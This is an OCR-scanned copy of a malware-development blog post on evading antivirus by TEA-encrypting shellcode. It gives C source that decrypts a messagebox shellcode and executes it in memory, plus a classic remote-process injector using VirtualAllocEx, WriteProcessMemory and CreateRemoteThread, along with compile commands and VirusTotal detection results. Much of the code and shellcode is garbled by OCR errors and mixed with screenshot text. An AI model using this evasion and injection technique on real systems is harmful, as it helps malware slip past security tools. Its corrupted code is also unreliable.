Malware AV/VM evasion - part 12: encrypt/decrypt
payload via TEA. Simple C++ example.
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10 minute read

Hello, cybersecurity enthusiasts and white hackers!

alo.
<stdlib.h>
<string.h>
<windows.h>

16
void tea encrypt(unsigned char *data, unsigned char *key) {

unsigned-int-i;
unsigned char x

unsigned-int .
unsigned int 0 L~} win10-malw (IDA pre 7.7) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
unsigned int = *(unsigned int *)data; You have the Auto capture keyboard option tured on. This will cause the Virtual Machine to €3 ¥%
unsigned-int =-*(unsigned int *)(data + 4)

(i =0; i ROUNDS; i++) {
vl += (((vl << 4) ~ (vl >>5)) + vl) ™ (sum
sum += delta;
vl += (((v0 << 4) "~ (vO >>'5)) + vO) ~ (sum

}

*(unsigned int *)data = v0O; Meow-meow!
*(unsigned int *)(data + 4) = vl;

}

void tea_decrypt(unsigned char *data, ~unsigned ¢
unsigned-int i;
unsigned char x =0;

unsigned int delta
unsigned-int sum =-delta

unsigned int v@ = *(unsigned int *)data;
unsigned -int vl = *(unsigned int *)(data + 4);

0; i < ROUNDS; i++) {
((v@ << 4) ~ (v@ >>5)) + vB) ~ (sum + ((unsigned int *)key)[(sum >> 11) & 31);

This post is the result of my own research on try to evasion AV engines via encrypting
payload with another encryption: TEA algorithm.

TEA
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TEA (Tiny Encryption Algorithm) is a symmetric-key block cipher algorithm that operates on
64-bit blocks and uses a 128-bit key. The basic flow of the TEA encryption algorithm can
be outlined as follows:

o Key expansion: The 128-bit key is split into two 64-bit subkeys.
e Initialization: The 64-bit plaintext block is divided into two 32-bit blocks.
¢ Round function: The plaintext block undergoes several rounds of operations, each
consisting of the following steps:
o Addition: The two 32-bit blocks are combined using bitwise addition modulo
2132,
o XOR: One of the subkeys is XORed with one of the 32-bit blocks.
o Shift: The result of the previous step is cyclically shifted left by a certain number
of bits.
o XOR: The result of the shift operation is XORed with the other 32-bit block.
o Finalization: The two 32-bit blocks are combined and form the 64-bit ciphertext
block.

The exact number of rounds in the TEA algorithm and the specific values used for key
expansion and shifting depend on the specific implementation of the algorithm.

practical example

For practical example, here is the step-by-step flow of the Tiny Encryption Algorithm (TEA)
with delta = 0x9e3779b9:

1. TEA takes a 64-bit plaintext block data, and splits it into two 32-bit halves, denoted
as vo and vi.

2. TEA takes a 128-bit key k, and splits it into four 32-bit subkeys, denoted as ko, ki,
k2, and k3.

3. TEA initializes two 32-bit variables sum and delta, where sum is initially set to o.

4. TEA performs a total of 32 rounds of encryption, where each round consists of the
following operations:

o a. sum is updated by adding delta to it.

o b. vo is updated by adding the result of the function (vi<<4 + ko) A (vi + sum)
A (vi>>5 + k1) toit. The » symbol represents the bitwise exclusive OR (X0R)
operation.

o c. vl is updated by adding the result of the function (ve<<4 + k2) A (v@ + sum)
A (ve>>5 + k3) toit.

o d. Steps b and c are repeated a total of 32 times.

5. After 32 rounds of encryption, the resulting ciphertext is the concatenation of vo and v1
in that order.
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Note that the delta value of ©x9e3779b9 is a carefully chosen constant that helps to ensure
the cryptographic strength of the algorithm.

Here is a simple implementation of the Tiny Encryption Algorithm (TEA) in C that can be
used to encrypt and decrypt:

void tea_encrypt(unsigned char *data, unsigned char *key) {
unsigned int 1i;
unsigned char x = 0;

unsigned int delta = 0x9e3779b9;

unsigned int sum = 0;

unsigned int vO@ = *(unsigned int *)data;
unsigned int v1 = *(unsigned int *)(data + 4);

for (i = 0; 1 < ROUNDS; i++) {
vO += (((vl << 4) A (vl >> 5)) + vl) A (sum + ((unsigned int *)key)[sum & 3]);
sum += delta;
vl += (((vO << 4) A (vO >> 5)) + vO) N (sum + ((unsigned int *)key)[(sum >> 11) &
31);
3

*(unsigned int *)data = vO;
*(unsigned int *)(data + 4) = vi;

}

void tea_decrypt(unsigned char *data, unsigned char *key) {
unsigned int 1i;
unsigned char x = 0;

unsigned int delta = 0x9e3779b9;
unsigned int sum = delta * ROUNDS;

unsigned int vO *(unsigned int *)data;
unsigned int v1 = *(unsigned int *)(data + 4);

for (1 = 0; i < ROUNDS; i++) {
vi -= (((vO << 4) A (vO >> 5)) + vO) A (sum + ((unsigned int *)key)[(sum >> 11) &
31);

sum -= delta;
vl -= (((vl << 4) A (vl >> 5)) + vl) N (sum + ((unsigned int *)key)[sum & 3]);

}

*(unsigned int *)data = vO;
*(unsigned int *)(data + 4) = vi;

}

So, for encryption shellcode we can just run something like this:
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unsigned char key[] =
"\X6d\X65\X6TF\X77\X6d\X65\X6T\X77\x6d\Xx65\X6T\X77\x6d\x65\x6F\x77";
unsigned char my_payload[] =

// 64-bit meow-meow messagebox
"\XxTc\x48\x81\xed\XxFO\XFFAXFF\XFF\xe8\xdo\x00\x00\x00\x41"
"\X51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\x3c\x61\x7¢c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\Xx01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\XxcO\x74\x6f"
"\x48\x01\xdO\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\xe01"
"\xc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\Xx41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe 9\ x4\ X F F\xFF\xFf\x5d\x49\xc7"
"\xc1\x00\Xx00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\Xx56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xFFAxd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6T\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6F\x77\x21\x00\x3d\x5¢e"
"\x2e\x2e\x5e\x3d\x00";

int len = sizeof(my_payload);
int pad_len = (len + 8 - (len % 8)) & OXFFF8;

unsigned char padded[pad_len];
memset (padded, 0x90, pad_len); // pad the shellcode with 0x90
memcpy (padded, my_payload, len); // copy the shellcode to the padded buffer

// encrypt the padded shellcode

for (int i = 0; i < pad_len; i +=8) {
tea_encrypt(&padded[i], key);

}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90)
instructions. For this example, use the meow-meow messagebox payload as usual.

For correctness, | add the decrypt function. and try to run shellcode:
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// tea_decrypt(my_payload, key);

for (int 1 = 0; i < pad_len; i += 8) {
tea_decrypt(&padded[i], key);

}

printf("decrypted:\n");
for (int 1 = 0; i < sizeof(padded); i++) {
printf("\\x%02x", padded[i]);

}
printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Rt1MoveMemory(mem, padded, pad_len);
EnumDesktopsA(GetProcesswWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

For simplicity, | use running shellcode via EnumDesktopsA logic.

Finally, the full source code of my example (hack.c) is:
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/*
* hack.c - encrypt and decrypt shellcode via TEA. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/malware/2023/02/20/malware-av-evasion-12.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define KEY_SIZE 16
#define ROUNDS 32

void tea_encrypt(unsigned char *data, unsigned char *key) {
unsigned int 1i;
unsigned char x = 0;

unsigned int delta

= Ox9e3779h9;
unsigned int sum = 0;

unsigned int vO
unsigned int vi

*(unsigned int *)data;
*(unsigned int *)(data + 4);

for (i = 0; i < ROUNDS; i++) {
vO += (((vl << 4) A (vl >> 5)) + vl) A (sum + ((unsigned int *)key)[sum & 3]);
sum += delta;
vl += (((vO << 4) A (v@ >> 5)) + vO) A (sum + ((unsigned int *)key)[(sum >> 11) &
31);
}

*(unsigned int *)data = vO;
*(unsigned int *)(data + 4) = vi;

}

void tea_decrypt(unsigned char *data, unsigned char *key) {
unsigned int 1i;
unsigned char x = 0;

unsigned int delta = 0x9e3779b9;
unsigned int sum = delta * ROUNDS;

unsigned int vO@ = *(unsigned int *)data;
unsigned int v1 = *(unsigned int *)(data + 4);

for (i = 0; i < ROUNDS; i++) {
vli -= (((v0 << 4) N (vO >> 5)) + v@) N (sum + ((unsigned int *)key)[(sum >> 11) &
31);
sum -= delta;
vO -= (((vl << 4) A (vl >> 5)) + vl) A (sum + ((unsigned int *)key)[sum & 3]);
}

*(unsigned int *)data = vO;
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*(unsigned int *)(data + 4) = vi;

}

int main() {
// unsigned char key[] =

"\Xx1F\x2e\x3d\x4c\x5b\x6a\x79\x88\x97\xa6\xb5\xc4\xd3\xe2\xf1\x00" ;
unsigned char key[] =

"\Xx6d\x65\Xx6T\x77\x6d\Xx65\X6T\Xx77\x6d\x65\X6T\Xx77\x6d\x65\x6F\x77";
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\XFc\x48\x81\xed\xFO\XTFF\XTFF\XFF\xe8\xdO\x00\x00\x00\x41"
"\Xx51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\Xx50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\Xx3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\Xx00\x00\x48\x85\xcO\x74\x6f"
"\x48\x01\xdO\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\X01\xdO\xe3\x5c\x48\xFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0O\x66\x3e\x41"
"\Xx8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe N\ x4\ X FF\XFF\xFf\x5d\x49\xc7"
"\XCI1\X00\X00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xed0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0d"
"\X75\X05\xbb\x47\x13\x72\x6F\x6a\x00\x59\x41\x89\xda\xff"
"\Xxd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6T\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int len = sizeof(my_payload);
int pad_len = (len + 8 - (len % 8)) & OXFFF8;

unsigned char padded[pad_len];
memset (padded, ©x90, pad_len); // pad the shellcode with 0x90
memcpy(padded, my_payload, len); // copy the shellcode to the padded buffer

// encrypt the padded shellcode

for (int 1 = 0; i < pad_len; i += 8) {
tea_encrypt(&padded[i], key);

}

printf("encrypted:\n");
for (int 1 = 0; i < sizeof(padded); i++) {
printf("\\x%02x", padded[i]);

}
printf("\n\n");
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// tea_decrypt(my_payload, key);
for (int 1 = 0; i < pad_len; i += 8) {
tea_decrypt(&padded[i], key);

printf("decrypted:\n");
for (int 1 = 0; i < sizeof(padded); i++) {
printf("\\x%02x", padded[i]);

}
printf("\n\n");

LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT,

PAGE_EXECUTE_READWRITE);
Rt1MoveMemory(mem, padded, pad_len);

EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem,

return 0;

demo 1

NULL);

Let’s go to see this trick in action. Compile our “malware”:

x86_64-w64-mingw32-gcc -02 hack.c -0 hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions

constants -static-libstdc++ -static-libgcc

) - [~/hacking/cybersec_blog/2023-02-20-malware-av-evasion-12]
86 64-wb64-mingw32-gcc hack.c hack.exe

In file included from hack.c:6:
hack.c: In function ‘main’:

/usr/share/mingw-w64/include/stdio.h:87:14: passing argument 3 of ‘EnumDesktopsA’ makes integer from pointer without a cast [

#define NULL

hack.c:114:69: in expansion of macro ‘NULL’
114 | EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem,
|
In file included from /usr/share/mingw-w64/include/windows.h:72,
from hack.c:9:

/usr/share/mingw-w64/include/winuser.h:806:94: expected ‘LPARAM’ {aka ‘long long int’} but argument is of type ‘void *’
)i

806 | WINUSERAPI WINBOOL WINAPI EnumDesktopsA(HWINSTA hwinsta, DESKTOPENUMPROCA 1pEnumFunc,
I

— ( ) - [~/hacking/cybersec_blog/2023-62-20-malware-av-evasion-12]
Ls 1s
total 52
-rwxr-xr-x 1 cocomelonc cocomelonc 40960 Feb 21 20:06 hack.exe
--r-- 1 cocomelonc cocomelonc 4107 Feb 21 20:05 hack.c
--r-- 1 cocomelonc cocomelonc 2542 Feb 20 05:15 tea.py

And run it at the victim’s machine (Windows 10 x64):

-fmerge-all-
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int main() {

unsigned char key[] ="
unsigned char my_payload[] =

L win10-malw (IDA pro 7.7) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
You have the Auto capture keyboard option turned on. This will cause the Virtual Machine to

Axec\xdd\x89\xBINxBO\X3B K1 \x2a\K7 3\ KT \XE7 \ kB4 \ X T2\ xB2\ %25\ X62\;

\X4b\XB7 \XB5\XBI\XABLXFA\XBO X 2B \XCA\XFEAXDFIX59\ XED\ XBA\ X7 D\ XBE

Ax91Wx2a\x13\x 1131\ ke 4\ xe@\ 134\ k61 \x 20\ %20\ xB7 \x 65\ x01\x82\x5b\2
AXBAAXETNX2INX2E\ XA WX FBAKE I WX FFAX1OVX13\XBA\XTBY X661 Xad \ x4 2\ X1 &3

Axd2\xc 7\ xac \xB5\xc B\ fe \x75\xaa\xfFx e xcb\x1c \x79\ x8d\x8F\xd3\2

(S PARE - ARGIVEPARERAREEAREEADS EAVELACETARELACE IRV E VAV E EADE VAR RARREEN  Meow-meow!
AX27\x34\x7 2\ x4F\xa6\x4b\xBb\xI6\ 154\ 166\ 100\ xcFix1e\x49\x1c\x5e\:
AXeT\XFIVXBBAXSE XA X601 K11\ X12\XF7 \xde\xea\x9a X155\ Xc 1\ X25\ X903
Ax30\x85\x28\xel\xab\x@8\xac\x1d\x3d\x13\x3f\x7a

decrypted:
AXFOAXABAXRBI X\ XFO\XFFAXFXFF\XeB\Xd0\ X80\ X80\ X80\ x4 1\X51\ X4 1\ 15AL 521 w1 SR YARY ¥ 3]
\xd21x65\x4B\XE K52\ X601 X3\ 4B xBDAX52\x1B X3\ x4B\ KBD\X52\ %20\ X3\ x4 B\ KBD\XT 2\ X508\ K3
A48\ x@T\Xb7 \x48\x4a\x4d\x31\XCI\X4B\X31\XcO\XAC\X3C\XB1\ X7 C\XB2\ X2\ X208\ x4 1\ XxC1\XCI\x0d
\x411x@1\xc1\xe2 \xed\x52\x41 \x51\x 38\ x481\xBb\ X521 %28\ X3\ X8\ x4 2\ X3 \ x4 8\ X8 1\ xd@\ x3e\ kB
\xBBYXBB\x00\ x00\ xOO\ x4B\XBS\XCO\XTA\ X6\ x4B\xB1\XdB\ x50\ X3\ XBb\x48\X18\x3e\x44\X8b\ x40
\x201 X491\ xB1 \xdB A XeIN X5 \XABAKFFAXEI X3\ K4 1\ XED X4\ KBB\ x4 B\ X8I\ xdB\ X4\ K31\ XCI\XAEN K31
AXCOLXAC\XATAXCI\XCI\XBA W X4 1\ XBT \XC1\X3B\Xe@\ X7 5\ XF1 X3\ x4c\x83\x4C\X24\xBB\x45\x39\xd1
\X75\xdE\X5B X3\ x44\XBDA X481 %24\ x40\ x0T \ B\ X661 x I\ x4 1\ XBD\XBE \ x4 B\ X3\ x4\ XBDAX4B\ K1
491 x81\xdB\x 38\ x41\xBb\ x84\ xBB\x48\x01\xdB\ x41\ X581 x41\X58\X58\X59\X58\ x4 1\ X58\x41\x59
\x411x5a\x4BAXE3 \xec \x 20\ k41 \ K52\ X FFIXeB\X5B x4 1\ x59\ x5a\ x3e\ k4B\XBD\X1 2\ xeI\ X4I\KFFAXFF
AXFFAX5A V49, XC T \XC 1\ XBO\ xBO\ xBD\ XxBB\ X 38\ x4B\ xBd\X951x18\x01\ X80\ xBO\ X3\ X4C\XBdA\XB5\x25
\x@11x0B\X@B\ X481 %31\ XcI\x41 \xba\x45\xBI\K56\ X7 \xFFAXd5\ xbb\xe@\x1d\x2a\xBa\x41\xba\ xa6
XI5\ XBA XA\ XFFAXAS \X4BYXB3\XCA\X2B\X3C\XBB\ X7 C\ X2\ XBO\ XD\ Xe@\ X7 5\ X85\ Xbb\ X4 7\ Xx13\x72
\X6F1x6a\XBB\X5I\xA1\XBI kA \KFFAXd5 \xAd\ KBS\ XEFIXT T\ K2d\ X60\XE5\X6F\XT 7\ %21\ xBB\ x3d\ K5e
\x2e\x2e\x5e\x3d\x80\x80\ x90\ x990\ X980\ x990\ X901\ x90

=i BEOFE & ~o@wa e O
N T BenF#mEE GO Right Ctrl
int len = (my_payload);
int-pad len = (len + 8 - (len % 8)) & OxFFF8§;

unsigned char padded[pad len]
memset (padded, 0x90, pad len)

[ NORMAL JLETSY

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected:

main() {

unsigned char key[] ="
unsigned char my payload[] =

L win10-malw (IDA pro 7.7) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
You have the Auto capture keyboard option turned on. This will cause the Virtual Machine to 0w

Axec\xdd\x89\x89\x88\x36\xc1\x2a\x73\RC7\x67 \xB4\XTa\xB2\x25\x62\xF1\xe1\x9I8\xB1\xBa\x56
b\ XB7 \ X85\ %89\ nd@\xFA\ xBB X 2a e d e F B A X A X S I e DA B a X7 D\ X B\ X e 5 |
W91k 22 x13\x 11\ x31 A xc4\ xeB\x 34\ x6F\ x 284 xad\ xB87\ x65\x81\x82\x5b\ x88 "

BT\ X2\ %26\ nda\ e FR\xc 1\ FFix18\x13\xBd \ X708\ x66\xad \ x42 \x1e\x4cC

\xd2\xC7\xac \xB5 e B\ rFC\x7 5\ xaa\xFFARIF\xcb X 1C X7 9\ xBd\XEF\xd 3\ x2d |

A F2\xFI\xBb\x32\xa8\ x4\ xbd \x1e\x2b\x9c\ xcd\x 31\ x97 \ x4\ x67 \x 17\ xFd leow-meow!

W27 GAAXT 2\ x4\ @B \ x4 D\ xBbAXIE\N54 \ BB\ x@B\ X c Fixle\ 49\ x1c \x5e\ X680
AXeT\XFI\XBDAX5A\X1A\KE0\ X 11\ X12\XF7 \xde\xea x9a\x15\xc 1\ X25\xI8\X66
\x3@\x85\x28\xel\xab\x@8\xac\x1d\x3d\x13\x3f\x7a

decrypted:
\RFCAXABAXB] \XeA\ R FBKFFAXFFUXFFAXeB\XdO\ X0O\XBB KPB\ x4 1\ K51\ x4 1\ x5B\X52\ x5 1\ X561 48\ x31
Axd2\x65\x48\x8b\x52\x68\x3e\ x48\ x8b\x52\x 18\ x3e\ x48\x8b\x52\x28\x3e\ x48\x8b\x72\x58\x3e
\x4BAXBF\xXDT \xda\xda\x4d\x311xe I\ x4B\X3 T\ XeB\XaC X3 \XE1 X7 C\xB2\X2C\ X 28\ x4 1\ X 11 Xc I\ xBd
\x41\x@1\xC1\xe2 \xed \X52\x411x51\x3e\x48\ XBDAX5 21 x28\x3e\ xBD\x42\x3C \x48\ %81\ xdB\ x3e\ xBD
\xBB\xBBY\x88\x80\ xBB\ x4 8\ xB5\ xcB\XTA\x6T\ x48\xB1\ xdB\x58\ x3e\ xBb\ x48\ x18\x3e\x44\ x8b\ x48
\x201x49\x01 \xdO\xe3\X5CAx4BAXFFACI\xIe x4 11 xBbA X34\ xBE k4B \xB1\ xdE\ x4\ X3 1\ X I\ X4BNX31
\RCB\XAC\xA1 \xcI\xCT\ KB\ X411 xBT \ X1 \XIB\ xeB\X7 5\ F1\x3e\ K4 c \xB3 xAc \ x24\ BB\ X451 139\ xd1
\X75\xdE\X581x3e\x44\ xBbY x40 %24\ x49\xB1\ XdB\ X661 X 32\ k411 XBb\XBC A X4B\ X3e\ x44\ XBb Y X4B X1
\x49\XB1\xdB\x3e\x41 \XBD\ x4 xBE\XAB\XBI\ X\ XA 1\ X5E\ k41 \ K5BA X5 X5\ X5a\ x4 1\ X581\ x41\X59
A1\ x5a\x48\x83\xec\x28\ x4 1\ x52 \xFF\xeB\x58\x41\x59\x5a\x3e\x48\x8b\x12\xeI\ x4\ xFF\xff
\XFFAXSd\x491%c 7\ X1\ X808\ xBB OB\ xBB\ X3\ x4 B\xBd\x95\x 121 x@1\xBA\XBB\ X3e\ x4 c\ X8\ XB5\X25
\XB1\x80\xBB\x48\x31 \xcI\x41 1 xba\ x45\XEI\ K56 1x@7 \xFFAxd5\ xbb\xeB\x1d\x2a\x@a\x41\ xba\xa6
95\ xbd\x9d \xFFixd5\ x4 B8\ xB3\xc4\x28\x3c \xB6\x7 C\xBa\xB88\ xTb\xe@\x75\x85\xbb\ x47\x13\x72
\X6FAX62\xBB X5\ x4 1 \XB\xda \ X FFAXAS\xAA\XE5\XEFIXT 7 \X2d\ X6\ XE5\XEF\XT 7\ %21\ xBB X 3d\X5e
\x2e\x2e\x5e\x3d\ X80\ X8O\ xIB\ xIB\ X 9B\ XIO\ X981 X9

=1} FO PO £ ~mEn 232110:?3:3 =]
. T BONEFemMEE TGO Right Ctrl
int len = (my payload);
int-pad_len-= - (len-+ 8 --(len % 8)) & OxFFF§;

unsigned char padded[pad len]
memset (padded, 0x90, pad len)
hack.c




practical example 2

Let’s look at the “classic” shellcode injection logic with VirtualAllocEx,
WriteProcessMemory and CreateRemoteThread:
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/*
* hack2.cpp
* classic payload injection example
* author: @cocomelonc

* https://cocomelonc.github.io/malware/2023/02/20/malware-av-evasion-12.html

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

unsigned char my_payload[] =
"\XFc\x48\x81\xed\xFO\XTFF\XTF\XxfFf\xe8\xdO\x00\x00\x00\x41"
"\X51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0O\xac"
"\X3c\Xx61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\X01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\XxcO\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xFFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01"
"\Xxc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\Xx75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\Xx41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe 9\ x4\ X FF\xFF\xFf\x5d\x49\xc7"
"\XCc1\Xx00\Xx00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\Xx56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\Xx9d\xFFAxd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\Xx75\x05\xbb\x47\x13\x72\x6T\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6F\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

// parse process ID
printf("PID: %i", atoi(argv([1]));

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

// allocate memory buffer for remote process

rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT),

PAGE_EXECUTE_READWRITE);

// "copy" data between processes
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WriteProcessMemory(ph,

rb, my_payload, my_payload_len, NULL);

// our process start new thread
rt = CreateRemoteThread(ph, NULL, O,
CloseHandle(ph);

return 0,

Let’s go to compile our malware:

x86_64-w64-mingw32-gcc -02 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-

(LPTHREAD_START_ROUTINE)rb, NULL, ©, NULL);

constants -static-libstdc++ -static-libgcc

) - [~/hacking/cybersec_blog/2023-02-20-malware-av-evasion-12]
= hack2.exe

hack2.c

) - [~/hacking/cybersec_blog/2023-02-20-malware-av-evasion-12]

L 1s
total 100

-rwxr-xr-x 1 cocomelonc
cocomelonc
cocomelonc
cocomelonc

-rw-r--r-- 1 cocomelonc

-rwxr-xr-x 1 cocomelonc

-rw-r--r-- 1 cocomelonc

and run:

cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc

.\hack2.exe <PID>

40960
2294
3354
3904
1140

40960
2542

Feb
Feb
Feb
Feb
Feb
Feb
Feb

31217,
s
125
:05
:59
106
115

hack2.exe
hack2.c
hack3.c
hack.c
entropy.py
hack.exe
tea.py
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win10-malw (IDA pro 7.7) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

File Options View Process Find Users Help
H|ﬂ|5 _:||i’*|‘d ?‘;|“@ |L.n_ | | | | | | | | | |<F('1'ferbyrmme>

Process CPU  Private Bytes = Working Set  PID  Description Company Name
Q; SecurityHealth Systray exe 1,700 K 1,520 K 5680 Windows Security notificatio... Microsoft Corporation
\"R VBox Tray exe <001 272K 4628 K 5800 VirtualBox Guest Additions Tr... Oracle Corporation
@, OneDrive exe 15,908 K 20,132 K 5856 Microsoft OneDrive Microsoft Corporation
= F¥ powershell exe <001 57.220K 24068 K 6328 Windows PowerShell Microsoft Corporation
8 conhost exe 4736 K 10,760 K 6540 Console Window Host Microsoft Corporation
(52 mspaint.exe TBEE K 26844 K 7704 Paint Microsoft Corporation
- - - T mmmmEEEET T - - als - www sysinter...
Corporation
ell.Core\Fi . d2 2-28-malwar TN .. Comporation

Ft.Powershell . EEE

View

dlicd| | @ []
(M Meow-meow!

Clipboard Image Tools |Brushes| Shapes Size Colors

O Type here to search

har* argv[]) {
As you can see, everything is worked perfectly as expected.

Calc entropy and upload to VirusTotal:

python3 entropy.py -f ./hack2.exe

) - [~/hacking/cybersec_blog/2023-02-20-malware-av-evasion-12]
entropy.py ./hack?.exe

virtual address: 0x1000
virtual size: 0Ox6cf8

raw size: 0x6e00

entropy: 6.248176278867677

virtual address: 0x8000

virtual size: 0x250
raw size: 0x400
entropy: 3.0562706995838056

virtual address: 0x9000
virtual size: 0xda0

raw size: 0xe00

entropy: 4.914736017078639
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DETECTION DETAILS BEHAVIOR 1) COMMUNITY

Undetected

Undetected

https://www.virustotal.com/gui/file/012737fa92f388f40f44345e94dbea534405bb9ead4325a9a9
54c4a298b70866¢/details

19 of of 70 AV engines detect our file as malicious as expected.
Ok, let’'s go to modify our “classic” injection:

e replace our meow-meow payload with TEA encrypted payload
e add tea_decrypt function
¢ decrypt payload and inject

And we will get this malware (hack3.c):
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https://www.virustotal.com/gui/file/012737fa92f388f40f44345e94dbea534405bb9ea4325a9a954c4a298b70866c/details

* hack2.cpp

* classic payload injection example
* with decrypt payload via TEA

* author: @cocomelonc

* https://cocomelonc.github.io/malware/2023/02/20/malware-av-evasion-12.html

